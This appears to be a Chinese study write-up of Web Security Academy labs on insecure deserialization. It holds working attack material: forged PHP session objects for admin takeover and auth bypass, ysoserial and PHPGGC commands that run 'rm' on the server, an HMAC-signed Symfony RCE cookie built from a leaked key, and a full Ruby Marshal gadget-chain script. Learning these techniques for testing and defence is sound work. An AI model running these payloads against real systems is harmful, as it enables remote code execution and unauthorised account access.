序列化(serialization):
将复杂的数据结构(如对象及其字段)转换为可作为连续字节流发送和接收的“平面”格式的过程。作用如下:
在序列化对象时,其状态也是持久化的。换句话说,对象的属性及其赋值将被保留。仅仅是数据格式变为了“扁平”化。
反序列化(Deserialization):
将字节流(序列化对象)恢复为原始对象的全功能副本的过程,其状态与序列化时完全相同。网站可以与这个反序列化对象交互,就像与任何其他对象交互一样。
虽不可读,但可识别二进制字节开头来快速识别:以十六进制编码为ac
,以Base64编码为rO0
任何实现了接口java.io.Serializable
的类都可以被序列化和反序列化。
阅读源码时,注意ReadObject()方法的任何代码,该方法用于从InputStream读取和反序列化数据。
// 应该从查找代码中任何位置的unSerialize()开始
$user->name = "carlos";
$user->isLoggedIn = true;
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
不安全的反序列化是指用户可控制的数据被网站反序列化。这可能使攻击者操纵序列化对象,以便将有害数据传递到应用程序代码中。
由于网站中存在大量依赖项,基于反序列化的攻击也成为可能。一个典型的站点可能会实现许多不同的库,每个库也有自己的依赖项。这创建了一个难以安全管理的大量类和方法池。由于攻击者可以创建这些类中的任何一个类的实例,很难预测可以对恶意数据调用哪些方法。如果攻击者能够将一系列意想不到的方法调用链接在一起,将数据传递到与初始源完全无关的接收器中,那么预测恶意数据流并堵塞每个潜在漏洞几乎是不可能的。
操作序列化对象时,可以采用两种方法。
- 可以直接以字节流的形式编辑对象,
- 可以用相应的语言编写一个简短的脚本来自己创建和序列化新对象。
在使用二进制序列化格式时,后一种方法通常更容易
篡改数据时,只要攻击者保留有效的序列化对象,反序列化过程就会使用修改后的属性值创建服务器端对象。
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
这种简单的场景并不常见。以这种方式编辑属性值演示了由不安全反序列化暴露的大量攻击面的第一步。
例题1
以php举例:基于PHP的逻辑在比较不同数据类型时,由于其松散比较运算符(==)的行为,特别容易受到这种操作的影响。
5 == "5 of something" //true
0 == "Example string" // true
程序验证逻辑,往往是
$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}
/*
假设攻击者修改了Password属性,使其包含整数0而不是预期的字符串。
只要存储的密码不是以数字开头,条件将始终返回TRUE,从而启用身份验证绕过。
请注意,这只可能是因为反序列化保留了数据类型。
如果代码直接从请求中获取密码,则0将被转换为字符串,并且条件的计算结果为FALSE。
*/
在修改任何序列化对象格式的数据类型时,要同步更新序列化数据中的任何类型标签和长度指示符
例题 2
除了简单地检查属性值之外,网站的功能还可能对反序列化对象中的数据执行危险的操作。
可以使用不安全的反序列化来传递数据,并利用相关功能进行破坏。
例题 3
魔术方法属于非显式调用的特殊方法。只要发生特定事件或场景,就会自动调用它们。魔术方法是面向对象编程语言的共同特征。它们在方法名前加上双下划线来表示。
PHP __construct() __wakeup()
Python __init__
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
{
// implementation
}
在面向对象编程中,对象可用的方法由其类确定。因此,如果攻击者可以操纵作为序列化数据传入的对象类,他们就可以影响在反序列化之后甚至在反序列化期间执行的代码。
攻击者查看源码
- 查找研究所有可用的类
- 查找其中包含反序列化魔术方法的类,是否存在对可控数据执行的危险操作
- 将数据传入此类的序列化对象,使程序自动调用该类魔术方法形成攻击
例题4
包含这些反序列化魔术方法的类还可以用来发起更复杂的攻击,这些攻击涉及一系列较长的方法调用,称为“小工具链”(攻击链)。
所有代码都已经存在于网站上。攻击者唯一控制的就是传递到小工具链中的数据。
“小工具”是应用程序中的一段代码,可以帮助攻击者实现特定目标。单个小工具可能不会直接对用户输入做任何有害的事情。然而,攻击者的目标可能只是调用一个方法,该方法将他们的输入传递到另一个小工具。通过以这种方式将多个小工具链接在一起,攻击者可能会将它们的输入传递到危险的“接收器小工具”中,从而造成最大的破坏。
手动识别小工具链可能是一个相当艰巨的过程,如果没有源代码访问,几乎是不可能的。幸运的是,可以首先尝试一些使用预建小工具链的攻击。
小工具:ysoserial
测试Java deserialization
小工具:PHPGGC
测试 PHP-based sites deserialization
例题 5、6
URLDNS链触发对提供的URL的DNS查找。最重要的是,它不依赖于使用特定易受攻击的库的目标应用程序,并且可以在任何已知的Java版本中运行。这使其成为用于检测目的的最通用的小工具链。如果您在流量中发现序列化对象,您可以尝试使用此小工具链生成一个对象,该对象触发与Burp Collaborator服务器的DNS交互。如果是这样的话,您可以确定目标上发生了反序列化。
JRMPClient是另一个可用于初始检测的通用链。它会导致服务器尝试建立到提供的IP地址的TCP连接。请注意,您需要提供原始IP地址,而不是主机名。此链在所有出站流量都经过防火墙保护的环境中可能很有用,包括DNS查找。您可以尝试使用两个不同的IP地址生成有效负载:本地IP地址和有防火墙的外部IP地址。如果应用程序立即响应具有本地地址的有效负载,但挂起具有外部地址的有效负载,导致响应延迟,这表明小工具链工作,因为服务器尝试连接到防火墙地址。在这种情况下,响应的细微时间差可以帮助检测服务器上是否发生了反序列化,即使在盲测情况下也是如此。
可能并不总是有专用工具可用。在这种情况下,网上搜索公开的漏洞。有时需要自己序列化对象进行尝试,但这种方法仍然比从头开始构建利用漏洞的工作要少得多。
例题7
当进行更重要的更改时,例如传入一个全新的对象,手动更改过于繁琐。为了生成和序列化数据,尽量用目标语言编写代码实现。
例题8、9、10
目标:提升普通账户权限为admin, 删除carlos账户。
登陆个人账户也后查看session
GET /my-account HTTP/1.1
Host: ac0c1fff1fdcb086c09bb52600520008.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ac0c1fff1fdcb086c09bb52600520008.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
(1)对cookie先进行url解码,再进行base64解码
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
(2)发现admin 尝试将值改为1
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
重编码,先base64,再url
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
(3)后续抓包替换session即可。
目标:使用administrator身份, 删除carlos账户。
(1)解题思路与上题一致,只是解码后发现session里面多了token
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"e0cnurvtus32l285k61mozei7yiov3ir";}
(2)替换username->administrator和access_token为整数0,同步调整类型长度。
页面交互以session表示身份,相当于使用username=administrator的身份登陆个人详情页。
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
成功
目标:删除carlos用户的 /home/carlos/morale.txt文件
登陆普通账户,发现存在删除账户功能,数据包如下
POST /my-account/delete HTTP/1.1
Host: ac951f1f1ed242ebc0b1ca0b00fc00e0.web-security-academy.net
Cookie: session=; session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6ImpvOGdtbjZkOXVmZGp3cjg5dGphaTVxaW5hb2VlOG1kIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30%3d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
session 解码后发现avatar_link链接,修改成目标链接后,编码替换session
session=O:4:“User”:3:{s:8:“username”;s:5:“gregg”;s:12:“access_token”;s:32:“jo8gmn6d9ufdjwr89tjai5qinaoee8md”;s:11:“avatar_link”;s:23:“/home/carlos/morale.txt”;}
成功。普通账户删除,同时/home/carlos/morale.txt文件删除
目标:删除carlos用户的 /home/carlos/morale.txt文件
hint: 可以通过在文件名后附加一个波浪号(~)来读取源代码,以检索由编辑器生成的备份文件。
(1)尝试之前例题序列化的方式,发现均不成功。
(2)在burp scan页 发现 /libs/CustomTemplate.php
文件 。页面空白证明是有文件的,web是无法直接显示php等文件。
(3)尝试是否可以使用富文本文件打开(开发时常使用)。路径/libs/CustomTemplate.php~
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
(4)查询源码发现魔法函数__destruct()中存在危险函数unlink,如能构造这个类CustomTemplate
中属性lock_file_path
的序列化对象,程序就能自动执行__destruct()
,删除提供的路径文件。
(5)登陆普通账户分析session,
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"d1qm12is0hara5h0f60yt3jpfgh3cowb";}
(6)改造后session
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
(7)数据包中替换为新session提交,成功
目标:删除carlos用户的 /home/carlos/morale.txt文件
(1)尝试之前例题序列化的方式,发现均不成功。
(2)尝试解码session, r0o开头是java的序列化
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBkM3psMDc3NTRneHdhaG1ibzFoNGE4MDN6ZXE4em83b3QABndpZW5lcg%3d%3d
(3)首先尝试一些常用普遍的攻击链(此处使用工具ysoserial)
java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
(4)将产生的结果url-encoding后,替换现有session,成功。
目标:删除carlos用户的 /home/carlos/morale.txt文件
(1)尝试之前例题序列化的方式,发现均不成功。
(2)通过Burp scaner发现 phpinfo.php修改session 报错信息发现如下信息
SECRET_KEY :rq0rla2xvldf76pqc4ccn3pzt6l6ien1
报错信息:Internal Server Error: Symfony Version: 4.3.6
(3)分析sesson发现是php
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2ZHluYTN4eTU0NTMyN3luejVjMmpiM2J4dDQ0MW9yNSI7fQ==","sig_hmac_sha1":"d386cbc2a851bf51b92b55aac6b961164e438a1e"}
(4)使用工具PHPGGC,生成token值
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
(5)编制php脚本生成COOKIE
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "rq0rla2xvldf76pqc4ccn3pzt6l6ien1";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
![截屏2022-05-14 18.01.56.png](https://img-blog.csdnimg.cn/img_convert/34da54cab997bba358cd62f4e06f5edc.png#clientId=u6b89ddee-9ff3-4&crop=0&crop=0&crop=1&crop=1&from=drop&id=u10b39596&margin=[object Object]&name=截屏2022-05-14 18.01.56.png&originHeight=1312&originWidth=2388&originalType=binary&ratio=1&rotation=0&showTitle=false&size=375034&status=done&style=none&taskId=u6834cfd9-bd6c-44c3-a87f-2cb1c7e7674&title=)
(6)替换session提交,成功
![截屏2022-05-14 18.04.33.png](https://img-blog.csdnimg.cn/img_convert/52acbb3a5096f36c9da6fd280e3aaba0.png#clientId=u6b89ddee-9ff3-4&crop=0&crop=0&crop=1&crop=1&from=drop&id=u7a4cc635&margin=[object Object]&name=截屏2022-05-14 18.04.33.png&originHeight=1100&originWidth=3300&originalType=binary&ratio=1&rotation=0&showTitle=false&size=923586&status=done&style=none&taskId=uf9930e18-efb4-4840-b5a6-558a157b6b9&title=)
目标:删除carlos用户的 /home/carlos/morale.txt文件
(1)尝试之前例题序列化的方式,发现均不成功。
(2)多方尝试报错后发现 index.rb 证明该网站是ruby开发的
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
header>
<h4>Internal Server Errorh4>
<p class=is-warning>index.rb:13:in `load': dump format error for symbol(0x3f) (ArgumentError)
from -e:13:in `<main>'p>
div>
section>
(3)网上搜索ruby 小工具链相关信息
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
复制出文章的最后一个脚本
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)
因我对ruby也不是很熟悉,参考tips :
将应该执行的命令从id更改为rm /home/carlos/morale.txt。将最后两行替换为PUTS Base64.encode64(payload)。这可确保以正确的格式输出有效负载,以供您在实验中使用。
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
# rs.instance_variable_set('@git_set', "id")
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
# puts payload.inspect
# puts Marshal.load(payload)
puts Base64.encode64(payload)
找个在线平台运行脚本得出结果替换session,成功
暂略
暂略
暂略